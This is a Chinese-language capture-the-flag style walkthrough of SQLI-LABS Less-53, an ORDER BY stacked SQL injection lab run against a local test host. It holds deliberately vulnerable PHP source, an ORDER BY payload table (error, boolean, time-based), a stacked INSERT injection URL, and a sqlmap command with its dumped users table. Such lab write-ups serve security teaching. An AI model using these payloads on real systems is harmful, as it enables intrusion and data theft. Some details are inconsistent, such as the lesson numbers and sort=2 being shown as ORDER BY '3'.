目录
SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节通过两种方法(手注法和脚本法)对第53关Less 53基于ORDER BY型的SQL堆叠注入关卡进行渗透实战,与51关的区别是不打印数据库报错信息,无法使用报错法进行渗透。
一、ODRDER BY注入
ORDER BY 注入是SQL注入的一种特殊形式,攻击者通过操纵SQL查询中的ORDER BY子句来实施攻击。这种注入通常出现在数据排序功能中,当应用程序将用户输入直接拼接到ORDER BY子句时产生安全风险。
项⽬ | 描述 |
---|---|
类型 | SQL 注入(SQL Injection)的⼀种,利⽤排序参数构造恶意 SQL 语句。 |
原理 | 当应⽤程序将⽤户输⼊直接拼接到 ORDER BY 子句中时,攻击者可篡改排序逻辑触发 SQL 注入。 |
常见场景 | 在带有排序功能的列表页(如商品表、⽤户列表排序),参数通常为 order 、by 、sort 等。 |
限制 | ORDER BY 仅作用于当前查询块(主查询或子查询),无法直接作用于 UNION 后的结果集。 |
攻击关键 | 通过控制排序字段或参数,干扰主查询逻辑 或 构造子查询注入 |
存在ORDER BY注入风险的页面经典攻击 Payload 示例如下所示。
攻击⽬标 | Payload | 说明 |
---|---|---|
探测字段数 | ?sort=1 、?sort=2 … 逐步增加数值,直到页面不报错(字段数为最后有效数值)。 | 若字段数为 3,则 ?sort=3 正常,?sort=4 报错。 |
报错注入 | ?sort=UPDATEXML(1,CONCAT(0x7e,(SELECT database()),0x7e),1) | 若数据库版本支持报错函数,可通过报错回显数据 |
条件判断 (布尔注入) | ?sort=IF(1=1,1,2) ?sort=(case when 1=1 then column1 else column2 end) | 若条件为真,按第 1 列排序;否则按第 2 列排序,通过页面排序变化判断条件是否成立。 |
延时注⼊(盲注) | ? sort=IF(USER()='admin',SLEEP(5),id) | 若⽤户为 admin ,则延迟 5 秒响应,可通过响应时间判断结果。 |
二、源码分析
1、代码审计
本关卡Less53是ORDER BY型的SQL堆叠注入关卡,如下所示。
Less51关卡的源码功能是简单基于列数对user表排序的页面,与47关的主要区别是SQL查询时使用了存在堆叠注入风险的mysqli_multi_query函数,对比如下所示。
index.php详细注释过的源码如下所示。
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<!-- 页面基础元信息 -->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<!-- 页面标题表明这是基于ORDER BY的盲注实验 -->
<title>ORDER BY Clause Blind based</title>
</head>
<!-- 黑色背景的页面主体 -->
<body bgcolor="#000000">
<!-- 页面顶部欢迎信息区域 -->
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">
Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
/*
* 主要风险:ORDER BY子句字符型注入
* 安全风险:直接将用户输入拼接到SQL查询中,且使用单引号包裹
*/
// 引入数据库连接配置文件
include("../sql-connections/sqli-connect.php");
// 关闭PHP错误报告(但下方又直接输出SQL错误,存在矛盾)
error_reporting(0);
// 从GET请求获取sort参数 - 这是主要的注入点
$id = $_GET['sort'];
// 检查是否提供了sort参数
if(isset($id))
{
/*
* 记录攻击日志到文件(用于教学分析)
* 安全提示:实际环境中应记录更详细的访问日志
*/
$fp = fopen('result.txt', 'a'); // 以追加模式打开日志文件
fwrite($fp, 'SORT:'.$id."\n"); // 记录用户输入的sort参数
fclose($fp); // 关闭文件
/*
* 存在严重安全风险的SQL查询构造
* 风险:直接将用户输入拼接到ORDER BY子句并用单引号包裹
* 注意:由于使用单引号,堆叠查询注入可能受限
*/
$sql = "SELECT * FROM users ORDER BY '$id'";
/*
* 使用多重查询执行 - 增加了潜在的安全风险
* 安全建议:应使用mysqli_query()替代
*/
if (mysqli_multi_query($con1, $sql))
{
// 查询成功时的处理 ?>
<!-- 结果表格的HTML结构 -->
<center>
<font color= "#00FF00" size="4">
<!-- 用户数据表格,绿色边框 -->
<table border='1'>
<tr>
<th> ID </th>
<th> USERNAME </th>
<th> PASSWORD </th>
</tr>
</font>
</font>
<?php
// 存储第一个结果集
if ($result = mysqli_store_result($con1))
{
// 遍历结果集中的每一行数据
while($row = mysqli_fetch_row($result))
{
// 输出表格行,使用亮绿色字体
echo '<font color= "#00FF11" size="3">';
echo "<tr>";
// 输出ID列
echo "<td>";
printf("%s", $row[0]);
echo "</td>";
// 输出用户名列
echo "<td>";
printf("%s", $row[1]);
echo "</td>";
// 输出密码列
echo "<td>";
printf("%s", $row[2]);
echo "</td>";
echo "</tr>";
echo "</font>";
}
}
// 关闭表格标签
echo "</table>";
}
else
{
/*
* 查询失败时的处理 - 直接显示数据库错误信息(安全风险)
* 安全提示:生产环境应记录错误而非显示给用户
*/
echo '<font color= "#FFFF00">';
print_r(mysqli_error($con1)); // 打印MySQL错误详情
echo "</font>";
}
}
else
{
/*
* 没有提供sort参数时的默认显示
* 提示用户输入sort参数
*/
echo "Please input parameter as SORT with numeric value<br><br><br><br>";
echo "<br><br><br>";
// 显示实验图片
echo '<img src="../images/Less-51.jpg" /><br>';
}
?>
<!-- 页面底部空白区域 -->
</font>
</div>
</br>
</br>
</br>
</center>
</body>
</html>
本关卡主要功能是通过 URL 参数接收排序字段,查询并展示用户列表,具体处理逻辑如下所示。
-
接收用户输入
- 通过 URL 参数
sort
接收排序字段(如?sort=id
),id使用单引号包裹 - 直接将用户输入拼接到 SQL 的
ORDER BY
子句中
- 通过 URL 参数
-
数据库查询
- 查询
users
表的所有记录,并根据用户指定字段排序, - 使用mysqli_multi_query执行SQL语句,存在堆叠注入可能性
- 查询
-
结果展示
- 将查询结果以表格形式展示(包含 ID、用户名、密码字段)
- 查询失败时打印数据库原始错误信息
2、SQL注入安全性分析
很明显本关卡存在order by型SQL注入风险,如下所示。
-
SQL 注入风险
- 直接将用户输入的
sort
参数拼接到 SQL 语句中,未对参数进行任何过滤 - 攻击者可通过构造特殊参数执行任意 SQL 命令
- 使用
multi_query
允许执行多条SQL语句,增加了堆叠注入的风险
- 直接将用户输入的
-
错误信息泄露
- 直接输出数据库错误信息(如表名、字段名)
- 帮助攻击者了解数据库结构
- 例如:错误信息会显示 "Unknown column 'x' in 'order clause'"
三、渗透实战
1、进入靶场
进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。
http://192.168.59.1/sqli-labs/
点击进入Page3堆叠注入,如下图红框所示。
其中第53关在堆叠挑战关卡“SQLi-LABS Page-3 (Stacked Injections)”中, 点击进入如下页面。
http://192.168.59.1/sqli-labs/index-2.html#fm_imagemap
点击上图红框的Less53关卡,进入到靶场的第53关卡order by型的SQL注入关卡,页面提示“Please input parameter as SORT with numeric value”,具体如下所示。
http://192.168.59.1/sqli-labs/Less-53
2、渗透准备
(1)sort=1
根据第1列也就是id对users表进行排序,参数sort设置为1,如下所示为id=1到id=45之间的排序后表格。
http://192.168.59.1/sqli-labs/Less-53/index.php?sort=1
(2)sort=2
根据第2列也就是username对users表进行排序,参数sort设置为2,不过看效果没有返回第二列排序的结果,似乎还是第一列id方法排序。
http://192.168.59.1/sqli-labs/Less-53/index.php?sort=2
参数 ?sort=2
无法正确排序的原因是 SQL 语法错误,排序应该用数值而不是字符串,原始SQL语句如下所示。
$sql = "SELECT * FROM users ORDER BY '$id'";
而参数sort=2时,实际执行的SQL语句如下所示。
SELECT * FROM users ORDER BY '3';
SQL 将 '3'
视为字符串字面量,而非列索引或字段名,因此对第2列排序,导致排序无实际效果,综上排序失败的原因如下所示。
预期行为(正确 SQL) | 实际行为(错误 SQL) |
---|---|
ORDER BY 2 (按第 2 列排序) | ORDER BY '2' (按字符串 '2' 排序) |
结果按表的第2列(如username )排序 | 所有行的排序值相同,无实际 |
3、手工注入
(1)堆叠注入
根据源码分析可知本关卡具有堆叠注入安全风险,闭合方式为单引号,故而堆叠注入命令插入一个新的用户,id为53,用户名为mooyuan_53,密码为mooyuan,如下所示。
http://192.168.59.1/sqli-labs/Less-53/index.php?sort=1';insert into users(id,username,password) values ('53','mooyuan_53','mooyuan')%23
如下所示,页面显示按照第1列排序的users表,说明渗透成功。
(2)查看数据库
使用navicat查看数据库的users表,如下所示新增用户id为53,用户名为mooyuan_53,密码为mooyuan,说明渗透成功。
4、sqlmap实战
我们使用sqlmap来进行渗透,参数的含义是获取当前数据库名称(--current-db)并导出所有数据(--dump),全程自动执行无需人工交互(--batch),完整的SQL注入命令如下所示。
sqlmap -u http://192.168.59.1/sqli-labs/Less-53/?sort=1 --current-db --dump --batch
sqlmap渗透成功,可以通过报错法、布尔盲注、时间盲注3种方法渗透成功,具体信息如下所示。
GET parameter 'sort' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 81 HTTP(s) requests:
---
Parameter: sort (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: sort=1' AND (SELECT 2167 FROM (SELECT(SLEEP(5)))nqzb) AND 'OVne'='OVne
---
[03:43:23] [INFO] the back-end DBMS is MySQL
[03:43:23] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
web application technology: PHP 5.5.9, Apache 2.4.39
back-end DBMS: MySQL >= 5.0.12
[03:43:23] [INFO] fetching current database
[03:43:23] [INFO] retrieved:
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[03:43:38] [INFO] adjusting time delay to 1 second due to good response times
security
current database: 'security'
Table: users
[25 entries]
+----+---------------+----------------+
| id | password | username |
+----+---------------+----------------+
| 1 | Dumb | Dumb |
| 2 | I-kill-you | Angelina |
| 3 | p@ssword | Dummy |
| 4 | crappy | secure |
| 5 | stupidity | stupid |
| 6 | genious | superman |
| 7 | mob!le | batman |
| 8 | mooyuan123456 | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dumbo | dhakkan |
| 14 | admin4 | admin4 |
| 15 | 123456 | admin'#mooyuan |
| 38 | mooyuan | mooyuan_38 |
| 39 | mooyuan | mooyuan_39 |
| 40 | mooyuan | mooyuan_40 |
| 41 | mooyuan | mooyuan_41 |
| 42 | mooyuan | mooyuan_42 |
| 43 | mooyuan | mooyuan_43 |
| 44 | mooyuan | mooyuan_44 |
| 45 | mooyuan | mooyuan_45 |
| 50 | mooyuan | mooyuan_50 |
| 51 | mooyuan | mooyuan_51 |
| 52 | mooyuan | mooyuan_52 |
+----+---------------+----------------+